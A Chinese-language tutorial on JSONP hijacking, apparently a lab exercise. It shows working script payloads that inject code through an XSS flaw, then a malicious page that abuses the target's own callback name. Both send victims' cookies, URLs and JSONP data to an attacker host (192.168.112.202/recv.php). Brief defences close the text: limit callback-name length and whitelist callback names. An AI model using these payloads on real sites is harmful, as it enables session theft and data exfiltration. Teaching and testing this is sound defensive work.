JSONP 跨域访问(2), JSONP劫持

JSONP 跨域访问(2), JSONP劫持

一, 利用 XSS 漏洞执行jsonp

1. 利用过程

发现有jsonp的请求:

<script type="text/javascript" 
src="http://192.168.112.200/security/jsonp.php?callback=jsonpCallback">script>

向xss漏洞的位置注入代码:

<script type="text/javascript" 
src="http://192.168.112.200/security/jsonp.php?callback=alert(1);//">script>

<script type="text/javascript" 
src="http://192.168.112.200/security/jsonp.php?callback=document.cookie;//">script>

如果能弹窗说明服务器没有对回调函数的名称做检查, 那么 callback 后面可以执行其他js代码.

<script type="text/javascript" src="http://192.168.112.200/security/jsonp.php
?callback=location.href='http://192.168.112.202/recv.php?
cookie='%2Bdocument.cookie%2B'%26url='%2Blocation.href;//">
script>

在这段代码中的 %2B%26URL编码后的字符。
%2B 代表加号(+),在URL中用于表示空格或连接字符串。
%26 代表和号(&),在URL中通常用来连接多个参数。

'%2Bdocument.cookie%2B' 会被解析为连接 document.cookie (当前页面的cookie信息)到字符串中,相当于 +document.cookie+
'%26url='%2Blocation.href 是将 &url= 字符串连接到 location.href (当前页面的URL)。

当浏览器执行这段脚本时,它会请求 jsonp.php 文件,并传递一个 callback 参数。服务器应该响应一个调用该回调函数的JavaScript代码,其中包含了服务端希望在客户端执行的代码。

攻击者服务器(在这个案例中是 http://192.168.112.202/recv.php)会接收到包含用户cookie的请求,这样攻击者就可能会窃取用户的会话信息。

2. 防御手段

对传递到后端的回调函数名的长度进行判断
利用白名单限制回调函数的名称

二, 利用CSRF漏洞, 构造恶意网站劫持JSONP请求

如果后端限制了callback 函数名, 那么可以伪造html页面绕过检查, 执行恶意代码.

编写一个html页面, 用目标网站相同的回调函数执行自己的代码.

<script type="text/javascript">
  // 回调函数
  function jsonpCallback(data) {
    location.href = "http://192.168.112.202/recv.php?value=" 
    + JSON.stringify(data) + "&referer=" + document.referrer;
  }
script>
<script type="text/javascript" 
src="http://192.168.112.200/security/jsonp.php?callback=jsonpCallback">script>

上面这段代码向目标200网站发送jsonp请求, 调用与200网站上相同的函数 jsonpCallback, 绕过了服务器对回调函数的检查.
函数执行自己的代码, 向攻击者202服务器请求recv.php, 攻击者可以利用这个脚本保存发送过来的用户数据.

当用户访问恶意html页面时, 向200服务器发送jsonp请求, 并将请求到的用户数据发送到202服务器上.

你可能感兴趣的:(渗透测试,渗透测试,csrf)